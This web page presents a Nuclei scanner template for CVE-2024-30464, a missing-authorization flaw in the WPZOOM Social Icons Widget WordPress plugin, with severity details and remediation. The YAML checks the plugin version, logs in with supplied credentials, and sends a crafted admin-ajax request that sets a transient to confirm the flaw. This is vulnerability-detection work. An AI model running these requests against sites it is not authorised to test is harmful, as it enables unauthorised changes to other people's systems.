WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization
CVE-2024-30464
Verified
Description
WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.
Severity
Medium
CVSS Score
4.3
Exploit Probability
42%
Affected Product
social-icons-widget-by-wpzoom
Published Date
March 13, 2026
Template Author
pussycat0x
CVE-2024-30464.yaml
id: CVE-2024-30464
info:
name: WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization
author: pussycat0x
severity: medium
description: |
WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.
impact: |
Attackers can perform unauthorized actions, potentially leading to data tampering or privilege escalation.
remediation: |
Update to version 4.2.16 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-icons-widget-by-wpzoom/social-icons-widget-block-by-wpzoom-4215-missing-authorization
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2024-30464
epss-score: 0.41698
epss-percentile: 0.9747
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
vendor: wpzoom
product: social-icons-widget-by-wpzoom
framework: wordpress
publicwww-query: "/plugins/social-icons-widget-by-wpzoom/"
tags: cve,cve2024,wordpress,wp,wp-plugin,wpzoom,authenticated
variables:
rand: "{{rand_int(10000, 99999)}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/social-icons-widget-by-wpzoom/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "compare_versions(version, '<= 4.2.15')"
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=zoom_ajax_set_pointer_transient&transient_name={{rand}}&lifetime=3600
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(body,"Done, transient is set") && contains(body,"success\":true")'
condition: and
# digest: 490a0046304402204b1f184b4612bb45748d67e352d007f03d59c4668cdb1a2448e069a55879a9fe0220011c7f7dba4c77c6c575a3159517aa9cd7dd2e04b94c9832bb276872211c261d:922c64590222798bb761d5b6d8e729504.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CVE ID:
cve-2024-30464
CWE ID:
cwe-862
Remediation Steps
Update to version 4.2.16 or later.